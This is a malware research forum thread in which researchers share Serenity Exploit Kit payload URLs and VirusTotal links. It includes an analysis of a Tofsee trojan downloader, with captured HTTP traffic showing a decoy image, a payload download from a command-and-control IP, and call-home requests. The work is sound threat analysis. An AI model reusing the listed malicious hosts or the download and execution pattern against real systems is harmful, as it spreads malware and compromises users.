[Xylitol]

Payload of Serenity Exploit Kit

Code: Select all

hxxp://winampgroup.co.uk/k0ff/index.php?s=ag

https://www.virustotal.com/file/95e1139 ... /analysis/
4/44 and 22/44 on unpacked.

[Xylitol]

VT: 27/46
https://www.virustotal.com/file/477e1aa ... 359760602/

[Win32:Virut]

Also Dorifel?

_hxxp://khwrte.best.lt.ua/dlimage4.php

https://www.virustotal.com/en/file/fa3d ... /analysis/

[EP_X0FF]

Also Dorifel?

_hxxp://khwrte.best.lt.ua/dlimage4.php

https://www.virustotal.com/en/file/fa3d ... /analysis/

This is trojan downloader. First it downloads the following picture

http://i.imgur.com/UIJ71m6.jpg

Code: Select all

GET /pics/post/funny-pictures-auto-couple-sex-469407.jpeg HTTP/1.0
Host: img7.joyreactor.com

HTTP/1.1 200 OK
Server: nginx/1.2.4
Date: Fri, 05 Apr 2013 14:06:57 GMT
Content-Type: image/jpeg
Content-Length: 84064
Connection: close
X-Powered-By: PHP/5.3.14
Cache-Control: max-age=0
Last-Modified: Sat, 23 Mar 2013 11:33:06 GMT
Expires: Fri, 05 Apr 2013 14:06:57 GMT

......JFIF

Next it call ShellExecute to display this picture. Meanwhile in the background it downloads real payload.

Code: Select all

POST /daol/oadl.php HTTP/1.0
Host: 94.242.250.178
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

u=man02&p=irs4Kpw0aA&l=4HTTP/1.1 200 OK
Date: Fri, 05 Apr 2013 14:10:54 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Pragma: public
Expires: 0
Cache-Control: must-revalidate, post-check=0, pre-check=0
Cache-Control: private
Content-Disposition: attachment; filename="YouWhoreJPEG.exe";
Content-Transfer-Encoding: binary
Content-Length: 110592
Connection: close
Content-Type: application/force-download

MZ......................@...............................................!..L.!This program cannot be run in DOS mode.

Uploads it to the %UserProfile% folder under random name and executes. After it drops self-deletion bat to %TEMP% folder.

This payload is Backdoor:Win32/Tofsee.F, see http://www.microsoft.com/security/porta ... 2fTofsee.F

Call home

Code: Select all

GET /daol/uiash4.dat?wv=51&bt=32 HTTP/1.0
Host: 94.242.250.178

HTTP/1.1 200 OK
Date: Fri, 05 Apr 2013 14:08:13 GMT
Server: Apache/2.2.15 (CentOS)
Last-Modified: Wed, 13 Mar 2013 11:46:20 GMT
ETag: "7e003-72-4d7ccf45edb00"
Accept-Ranges: bytes
Content-Length: 114
Connection: close
Content-Type: video/unknown

.6.

Original + unpacked in attach. Posts moved.

[ikolor]

thanks
https://www.virustotal.com/en/file/4872 ... 493236012/

[FafZee]

thanks
https://www.virustotal.com/en/file/4872 ... 493236012/

unpacked in attachment, stealer/spambot

[Antelox]

thanks
https://www.virustotal.com/en/file/4872 ... 493236012/

unpacked in attachment, stealer/spambot

That one is Tofsee spambot.

BR,

Antelox